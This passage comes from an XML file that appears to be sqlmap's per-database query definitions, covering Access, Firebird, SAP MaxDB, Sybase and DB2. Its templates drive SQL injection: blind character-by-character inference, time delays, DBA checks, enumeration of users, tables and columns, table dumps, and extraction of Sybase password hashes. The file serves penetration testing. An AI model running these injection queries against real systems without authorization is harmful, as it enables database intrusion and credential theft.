<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>

</dump_table>

<search_db/>

<search_table/>

<search_column/>

</dbms>

<!-- Microsoft Access -->

<dbms value="Microsoft Access">

<cast query="CVAR(%s)"/>

<length query="LEN(%s)"/>

<isnull query="IIF(LEN(%s)=0,' ',%s)"/>

<delimiter query=","/>

<limit query="TOP %d"/>

<limitregexp query="\s+TOP\s+([\d]+)"/>

<limitgroupstart query="1"/>

<limitgroupstop query="1"/>

<limitstring query=" TOP "/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="%00"/>

<timedelay/>

<substring query="MID((%s),%d,%d)"/>

<case query="SELECT (IIF(%s,1,0))"/>

<banner/>

<!--CURRENTUSER() is not available outside the MS Access query tool itself-->

<current_user/>

<current_db/>

<hostname/>

<inference query="ASCW(MID((%s),%d,1)) > %d"/>

<is_dba/>

<dbs/>

<!--MSysObjects have no read permission by default-->

<tables>

<inband query="SELECT Name FROM MSysObjects WHERE Type=1"/>

<blind query="SELECT MIN(Name) FROM MSysObjects WHERE Type=1 AND Name>'%s'" count="SELECT COUNT(Name) FROM MSysObjects WHERE Type=1"/>

</tables>

<dump_table>

<inband query="SELECT %s FROM %s"/>

<blind query="SELECT MIN(%s) FROM %s WHERE CVAR(%s)>'%s'" query2="SELECT TOP 1 %s FROM %s WHERE CVAR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s)"/>

</dump_table>

<users/>

<privileges/>

<roles/>

<search_db/>

<search_table/>

<search_column/>

</dbms>

<!-- Firebird -->

<dbms value="Firebird">

<cast query="CAST(%s AS VARCHAR(10000))"/>

<length query="CHAR_LENGTH(%s)"/>

<!-- TODO: add proper value -->

<delimiter query=""/>

<limit query="ROWS %d TO %d"/>

<limitregexp query="\s+ROWS\s+([\d]+)(\s+\TO\s+([\d]+))?"/>

<limitgroupstart query="1"/>

<limitgroupstop query="2"/>

<limitstring query=" ROWS "/>

<isnull query="%s"/>

<order query="ORDER BY %s ASC"/>

<comment query="--"/>

<count query="COUNT(%s)"/>

<timedelay query="SELECT COUNT(*) FROM RDB$DATABASE AS T1,RDB$FIELDS AS T2,RDB$FUNCTIONS AS T3,RDB$TYPES AS T4,RDB$FORMATS AS T5,RDB$COLLATIONS AS T6"/>

<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>

<case query="SELECT IIF(%s,1,0)"/>

<banner query="SELECT RDB$GET_CONTEXT('SYSTEM','ENGINE_VERSION') FROM RDB$DATABASE" dbms_version="&gt;=2.1"/>

<current_user query="SELECT CURRENT_USER FROM RDB$DATABASE"/>

<current_db query="SELECT RDB$GET_CONTEXT('SYSTEM','DB_NAME') FROM RDB$DATABASE"/>

<hostname/>

<users>

<inband query="SELECT DISTINCT RDB$USER FROM RDB$USER_PRIVILEGES"/>

<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>

</users>

<inference query="ASCII_VAL(SUBSTRING((%s) FROM %d FOR 1)) > %d" dbms_version="&gt;=2.1" query2="SUBSTRING((%s) FROM %d FOR 1) > '%c'"/>

<is_dba query="CURRENT_USER='SYSDBA'"/>

<tables>

<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>

<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>

</tables>

<privileges>

<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>

<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>

</privileges>

<roles/>

<dbs/>

<columns>

<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->

<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>

<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s"/>

<blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>

</dump_table>

<search_db/>

<search_table/>

<search_column/>

</dbms>

<!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->

<!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->

<!-- http://maxdb.sap.com/doc/7_6/default.htm -->

<!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->

<!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->

<!-- SAP MaxDB -->

<dbms value="SAP MaxDB">

<length query="LENGTH(%s)"/>

<timedelay/>

<banner query="SELECT ID FROM SYSINFO.VERSION"/>

<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>

<comment query="--" query2="#"/>

<count query="COUNT(%s)"/>

<!-- No real cast on SAP MaxDB -->

<cast query="REPLACE(CHR(%s),' ','_')"/>

<current_user query="SELECT USER() FROM DUAL"/>

<current_db query="SELECT DATABASE() FROM DUAL"/>

<hostname/>

<order query="ORDER BY %s ASC"/>

<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>

<hex query="HEX(%s)"/>

<inference query="SUBSTR((%s),%d,1) > '%c'"/>

<delimiter query=","/>

<substring query="SUBSTR((%s),%d,%d)"/>

<users>

<inband query="SELECT username FROM domain.users"/>

<blind query="SELECT MIN(username) FROM domain.users WHERE username > '%s'" count="SELECT CHR(COUNT(*)) FROM domain.users"/>

</users>

<columns>

<inband query="SELECT columnname,datatype,len FROM domain.columns WHERE tablename='%s' AND schemaname=%s"/>

<blind/>

</columns>

<tables>

<inband query="SELECT tablename FROM domain.tables WHERE schemaname=%s AND type='TABLE'"/>

<blind/>

</tables>

<dbs>

<inband query="SELECT DISTINCT(schemaname) FROM domain.tables"/>

<blind/>

</dbs>

<roles>

<inband query="SELECT owner,role FROM domain.roles" condition="owner"/>

<blind/>

</roles>

<dump_table>

<inband query="SELECT %s FROM %%s"/>

<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS value_table"/>

</dump_table>

</dbms>

<!-- Sybase -->

<dbms value="Sybase">

<cast query="CONVERT(NVARCHAR(4000),%s)"/>

<length query="LTRIM(STR(LEN(%s)))"/>

<isnull query="ISNULL(%s,' ')"/>

<delimiter query="+"/>

<limit query="SELECT TOP %d "/>

<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>

<limitgroupstart query="2"/>

<limitgroupstop query="1"/>

<limitstring/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="--" query2="/*"/>

<timedelay query="WAITFOR DELAY '0:0:%d'"/>

<substring query="SUBSTRING((%s),%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>

<hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>

<inference query="ASCII(SUBSTRING((%s),%d,1)) > %d"/>

<banner query="SELECT @@VERSION"/>

<current_user query="SELECT SUSER_NAME()"/>

<current_db query="SELECT DB_NAME()"/>

<hostname/>

<is_dba query="PATINDEX('%sa_role%',SHOW_ROLE())>0" query2="EXISTS(SELECT * FROM master..syslogins,master..sysloginroles WHERE srid=0 and name='%s')"/>

<users>

<inband query="SELECT name FROM master..syslogins"/>

<blind/>

</users>

<passwords>

<inband query="SELECT name,password FROM master..syslogins" condition="name"/>

<blind/>

</passwords>

<privileges/>

<roles>

<inband query="SELECT name,srid FROM master..syslogins,master..sysloginroles" condition="name"/>

<blind/>

</roles>

<dbs>

<inband query="SELECT name FROM master..sysdatabases"/>

<blind/>

</dbs>

<tables>

<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>

<blind/>

</tables>

<columns>

<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>

<blind/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s.%s"/>

<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS value_table"/>

</dump_table>

<search_db>

<inband query="SELECT name FROM master..sysdatabases WHERE " condition="name"/>

<blind/>

</search_db>

<search_table>

<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') AND " condition="name" condition2="name"/>

<blind/>

</search_table>

<search_column>

<inband query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>

<blind/>

</search_column>

</dbms>

<!-- IBM DB2 -->

<dbms value="IBM DB2">

<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->

<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>

<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>

<isnull query="COALESCE(%s,' ')"/>

<delimiter query="||"/>

<limit query="ROW_NUMBER() OVER () AS LIMIT %s) AS foobar WHERE LIMIT"/>

<limitregexp query="ROW_NUMBER\(\)\s+OVER\s+\(\)\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+"/>

<limitgroupstart/>

<limitgroupstop/>

<limitstring/>

<order query="ORDER BY %s ASC"/>

<count query="COUNT(%s)"/>

<comment query="--"/>

<!-- TODO -->

<timedelay query=""/>

<substring query="SUBSTR((%s),%d,%d)"/>

<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>

<hex query="HEX(%s)"/>

<inference query="SUBSTR((%s),%d,1) > '%c'"/>

<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->

<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS foobar WHERE LIMIT=1"/>

<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>

<!-- NOTE: On DB2 we use the current user as default schema (database) -->

<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>

<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>

<is_dba query="(SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)='Y'"/>

<users>

<inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>

<blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS foobar WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>

</users>

<!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->

<passwords/>

<privileges>

<inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||CHR(44)||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" query2="" condition="grantee" condition2=""/>

<blind query="SELECT tabschema||'.'||tabname||CHR(44)||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS foobar WHERE LIMIT=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/>

</privileges>

<roles/>

<!-- NOTE: in DB2 schema names are the counterpart to database names on other DBMSes -->

<dbs>

<inband query="SELECT schemaname FROM syscat.schemata"/>

<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS foobar WHERE LIMIT=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>

</dbs>

<tables>

<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>

<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,tabname FROM sysstat.tables WHERE tabschema='%s') AS foobar WHERE LIMIT=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>

</tables>

<columns>

<inband query="SELECT name,RTRIM(coltype)||CHR(40)||RTRIM(CAST(length AS CHAR(254)))||CHR(41) FROM sysibm.syscolumns WHERE tbname='%s'" condition="name"/>

<blind query="SELECT name FROM sysibm.syscolumns WHERE tbname='%s'" query2="SELECT RTRIM(coltype)||CHR(40)||RTRIM(CAST(length AS CHAR(254)))||CHR(41) FROM sysibm.syscolumns WHERE tbname='%s' AND name='%s'" count="SELECT COUNT(name) FROM sysibm.syscolumns WHERE tbname='%s'" condition="name"/>

</columns>

<dump_table>

<inband query="SELECT %s FROM %s"/>

<blind query="SELECT %s FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,%s FROM %s) AS foobar WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>

</dump_table>

<search_db>

<inband query="SELECT schemaname FROM syscat.schemata WHERE " query2="" condition="schemaname" condition2=""/>

<blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE " query2="" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE " count2="" condition="schemaname" condition2=""/>

</search_db>

<search_table>

<inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE " condition="tabname" condition2="tabschema"/>

<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE " query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE " count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>

</search_table>

<search_column>

<inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE " condition="colname" condition2="tabschema" condition3="tabname"/>

<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE " query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE " count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>

</search_column>

</dbms>

</root>